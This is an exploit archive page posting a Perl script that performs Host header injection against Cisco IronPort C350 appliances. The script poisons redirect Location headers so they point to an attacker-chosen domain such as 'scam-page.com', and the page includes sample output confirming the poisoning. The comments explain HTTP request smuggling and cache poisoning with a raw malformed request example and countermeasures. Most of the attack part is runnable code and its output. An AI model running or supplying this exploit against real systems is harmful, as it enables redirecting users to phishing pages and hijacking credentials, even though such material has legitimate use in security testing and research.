exploit the possibilities

Cisco IronPort C350 Header Injection

Cisco IronPort C350 Header Injection
Posted Sep 3, 2019
Authored by Todor Donev

Cisco IronPort C350 remote host header injection exploit.

tags | exploit, remote
systems | cisco
MD5 | 5d3d449bc480bc3b9513a64b866d4390

Cisco IronPort C350 Header Injection

Change Mirror Download
#!/usr/bin/perl -w
#
#
# Cisco IronPort C350 Remote Header 'Host' Injection
#
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
#
# [test@localhost ironport]$ perl ironport_c350.pl https://192.168.1.1
# # Cisco IronPort C350 Remote Header 'Host' Injection
# # ==================================================
# # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
# # > Host => scam-page.com
# # > User-Agent => Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b) Gecko/20050217
# # > Content-Type => application/x-www-form-urlencoded
# # < Cache-Control => no-store,no-cache,must-revalidate,max-age=0,post-check=0,pre-check=0
# # < Date => Tue, 03 Sep 2019 14:18:51 GMT
# # < Location => https://scam-page.com/login?CSRFKey=76b140ff-7e88-4eaf-ae60-7f6205532297&referrer=https%3A%2F%2Fscam-page.com%2FSearch
# # < Server => glass/1.0 Python/2.6.4
# # < Content-Type => text/html
# # < Expires => Tue, 03 Sep 2019 14:18:51 GMT
# # < Last-Modified => Tue, 03 Sep 2019 14:18:51 GMT
# # < Client-Date => Tue, 03 Sep 2019 14:18:52 GMT
# # < Client-Peer => 192.168.1.1:443
# # < Client-Response-Num => 1
# # < Client-SSL-Cert-Issuer =>
# # < Client-SSL-Cert-Subject =>
# # < Client-SSL-Cipher => DHE-RSA-AES256-SHA
# # < Client-SSL-Socket-Class => IO::Socket::SSL
# # < Client-SSL-Warning => Peer certificate not verified
# # < Refresh => 0; URL=https://scam-page.com/login?CSRFKey=76b140ff-7e88-4eaf-ae60-7f6205532297&referrer=https%3A%2F%2Fscam-page.com%2FSearch
# # < Set-Cookie => sid=9DGT8pSoFYuBq74dVpfh; expires=Thursday, 05-Sep-2019 14:18:51 GMT; httponly; Path=/; secure
# # < Title => : Redirecting
# # ==================================================
# # IronPort is Poisoned => https://scam-page.com/login?CSRFKey=76b140ff-7e88-4eaf-ae60-7f6205532297&referrer=https%3A%2F%2Fscam-page.com%2FSearch
# [test@localhost ironport]$
#
#
# Request Smuggling Attack - Input and Data Validation
#
# Implementation
#
# o Attack Applies To Vulnerable web servers and proxies.
#
#
# Description
#
# HTTP request smuggling is a technique to take advantage
# of discrepancies in parsing when one or more HTTP devices
# are between the user and the web server. An attacker may
# be able to 'smuggle' malicious requests through a packet
# inspector, firewall or web proxy server. This technique
# may leave the web server vulnerable to various attacks
# such as web cache poisoning, or allow the attacker to
# request protected files on the web server.
#
# Impact
#
# Cache poisoning: An attacker may be able to ‘rewire’
# o a web server cache so that one page is served when
# another is requested.
#
# Malicious requests: An attacker may be able to smuggle
# o a malicious request through a packet inspector, web proxy
# server, or firewall because of discrepancies in security
# rules between it and the web server.
#
# Credential hijacking: An attacker may be able to insert
# o a request into the HTTP flow, thereby manipulating the
# web server’s request/response sequencing, which can allow
# the attacker to hijack a third party’s credentials.
#
# Vulnerabilities
#
# o Web server, packet inspector, firewall, or web proxy server
# misconfiguration.
#
# Countermeasures
#
# Deploy a non-vulnerable web server: Web servers with a very
# o strict HTTP parsing procedure may not be vulnerable to this
# attack.
#
# Change all pages to non-cacheable: This will force the proxy
# to retrieve the pages from the web server every time. Although
# o this is better from a security perspective, the reality is that
# caching significantly improves the server's performance and
# reduces latency. Thus, other countermeasures are a better long
# term fix.
#
# o Rewrite all HTTP requests: Install a module on a firewall or
# proxy server to rewrite each HTTP request on the fly to a known
# valid request type.
#
# o Update your web server: Contact the web server vendor and check
# if there has been a patch released for a this type of vulnerability.
#
#
# Example
#
# This example describes the classic request smuggling attack
# in which an attacker can poison one page with the contents
# of another. In this example, the attacker combines one POST
# request and two GET requests into a single malformed HTTP
# request. The HTTP request has two Content-Length headers
# with conflicting values. Some servers, such as IIS and
# Apache simply reject such a request, but others attempt to
# ‘fix’ the error. Fortunately for the attacker, certain web
# servers and web proxies choose to pay attention to different
# sections of the malformed request.
#
# In this case let "somewhere.com" be the DNS name of the web
# server behind the proxy, and suppose that "/poison.html" is
# a static and cacheable HTML page on the web server.
#
# 1 POST http://somewhere.com/example.html
# HTTP/1.1\r\n2 Host: somewhere.com\r\n3
# Connection: Keep-Alive\r\n4
# Content-Type: application/x-www-form-urlencoded\r\n5
# Content-Length: 0\r\n6 Content-Length: 53\r\n7 \r\n8 GET /poison.html HTTP/1.1\r\n9
# Host: somewhere.com\r\n10 Bla: 11 GET http://somewhere.com/index.html HTTP/1.1\r\n12
# Host: somewhere.com\r\n13 Connection: Keep-Alive\r\n14 \r\n
#
# Note that line 10 is the only line that does not end in
# CRLF ("\r\n") and instead there is a space ("Bla: ").
# This request is sent to a web server via a proxy server.
#
# First, this message is parsed by the proxy. When the proxy server
# parses the message, it finds the POST request (lines 1-7) followed by
# the two conflicting Content-Length's (lines 5 and 6). The proxy ignores
# the first header and believes the body is 53 bytes long (which is exactly
# the number of bytes used by lines 8-10 including CRLFs). The proxy then
# sees lines 11-14 and interprets them as a second request.
#
# Second, the message is parsed by the web server. Although the web server
# receives the same message, when it sees the first Content-Length in line 5,
# it thinks that the body of the POST request is 0 bytes in length.
# Therefore it finds the second request in line 8 and interprets line 11
# as the value of "Bla: " in line 10 because of the missing CRLF.
#
#
# At this point the web server responds to the GET in line 8 by sending
# the content of /poison.html to the proxy. The proxy, expecting a
# response to the GET request in line 11, mistakenly matches the reply
# from the webserver with contents from /poison.html to the page /index.html.
# Therefore, the contents of /poison.html are cached under the name /index.html
# on the proxy. Now any user who requests http://somewhere.com/index.html
# through the proxy will receive the contents of http://somewhere.com/poison.html
# instead.
#
# There are several options available to mitigate this attack but all of
# them have their downside. If possible, use a well tested web server such
# as Apache or IIS. Otherwise, you can turn off server-side page caching,
# but this can lead to significant performance problems such as increased
# server load and latency. A final option is to use SSL communication for
# everything (HTTPS instead of HTTP), but this too has an associated
# performance overhead.
#
use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;


my $host = shift || '';
my $attacker = shift || 'scam-page.com';


print "# Cisco IronPort C350 Remote Header 'Host' Injection
# ==================================================
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
";
if ($host !~ m/^http/){
print "# e.g. perl $0 https://target:port/ scam-page.com
";
exit;
}

my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(
protocols_allowed => ['http', 'https'],
ssl_opts => { verify_hostname => 0 }
);
$browser->timeout(10);
$browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " ");
$request->header("Host" => $attacker);
my $response = $browser->request($request);
print "# 401 Unauthorized!\n" and exit if ($response->code eq '401');
say "# > $_ => ", $request->header($_) for $request->header_field_names;
say "# < $_ => ", $response->header($_) for $response->header_field_names;
print "# ==================================================\n";
if (defined ($response->header('Location')) and ($response->header('Location') =~ m/$attacker/i)){
printf ("# IronPort is Poisoned => %s\n", $response->header('Location'));
exit;

} else {

printf ("# Exploit failed!\n");
exit;

}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    16 Files
  • 18
    Sep 18th
    8 Files
  • 19
    Sep 19th
    14 Files
  • 20
    Sep 20th
    20 Files
  • 21
    Sep 21st
    3 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close